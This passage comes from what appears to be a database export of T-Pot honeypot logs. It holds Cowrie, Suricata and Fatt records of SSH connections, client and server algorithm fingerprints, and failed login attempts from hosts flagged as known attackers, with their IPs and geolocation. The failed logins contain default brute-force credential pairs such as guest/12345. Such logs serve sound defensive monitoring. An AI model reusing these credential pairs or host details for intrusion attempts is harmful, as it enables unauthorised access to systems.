"hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36750, "timestamp": "2021-09-20T11:14:48.270686", "@timestamp": "2021-09-20T11:14:48.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27461	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:48.519272+03	2021-09-20 14:15:14.612646+03	{"_id": "OwbqAnwBvYTbRNuEZyiI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:36500 (192.168.176.2:22) [session: 13955cabdae7]", "session": "13955cabdae7", "@version": "1", "protocol": "ssh", "src_port": 36500, "dest_port": 22, "timestamp": "2021-09-20T11:14:48.519272Z", "@timestamp": "2021-09-20T11:14:48.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27462	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:48.803174+03	2021-09-20 14:15:14.613645+03	{"_id": "QQbqAnwBvYTbRNuEaSh2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 342332199518621, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36500, "dest_port": 22, "timestamp": "2021-09-20T11:14:48.803174Z", "@timestamp": "2021-09-20T11:14:48.803Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27463	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:14:48.803297+03	2021-09-20 14:15:14.614644+03	{"_id": "QwbqAnwBvYTbRNuEaiiu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36500, "dest_port": 22, "timestamp": "2021-09-20T11:14:48.803297", "@timestamp": "2021-09-20T11:14:48.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27464	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:49.450398+03	2021-09-20 14:15:14.616646+03	{"_id": "RAbqAnwBvYTbRNuEayht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [guest/12345] failed", "session": "d64d18a0926f", "@version": "1", "password": "12345", "username": "guest", "timestamp": "2021-09-20T11:14:49.450398Z", "@timestamp": "2021-09-20T11:14:49.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27465	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:48.804562+03	2021-09-20 14:15:14.618647+03	{"_id": "SgbqAnwBvYTbRNuEayht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "13955cabdae7", "@version": "1", "timestamp": "2021-09-20T11:14:48.804562Z", "@timestamp": "2021-09-20T11:14:48.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27466	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:14:49.836931+03	2021-09-20 14:15:14.619648+03	{"_id": "TQbqAnwBvYTbRNuEbShf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 39614314794347, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41912, "dest_port": 22, "timestamp": "2021-09-20T11:14:49.836931Z", "@timestamp": "2021-09-20T11:14:49.836Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27467	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:49.837709+03	2021-09-20 14:15:14.620645+03	{"_id": "TwbqAnwBvYTbRNuEbiiX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41912, "timestamp": "2021-09-20T11:14:49.837709", "@timestamp": "2021-09-20T11:14:49.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27468	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:14:50.017725+03	2021-09-20 14:15:14.622645+03	{"_id": "UQbqAnwBvYTbRNuEbyhW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "61ea14951c44", "@version": "1", "timestamp": "2021-09-20T11:14:50.017725Z", "@timestamp": "2021-09-20T11:14:50.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27469	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:50.812348+03	2021-09-20 14:15:14.623646+03	{"_id": "UgbqAnwBvYTbRNuEcyg_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d64d18a0926f", "@version": "1", "duration": 2.814770221710205, "timestamp": "2021-09-20T11:14:50.812348Z", "@timestamp": "2021-09-20T11:14:50.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27470	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:14:50.828114+03	2021-09-20 14:15:14.625645+03	{"_id": "UwbqAnwBvYTbRNuEcyg_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [fff/123456] failed", "session": "61ea14951c44", "@version": "1", "password": "123456", "username": "fff", "timestamp": "2021-09-20T11:14:50.828114Z", "@timestamp": "2021-09-20T11:14:50.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27471	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:14:38.356351+03	2021-09-20 14:15:14.626675+03	{"_id": "0QbqAnwBvYTbRNuEPyet", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42148, "dest_port": 22, "timestamp": "2021-09-20T11:14:38.356351", "@timestamp": "2021-09-20T11:14:38.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
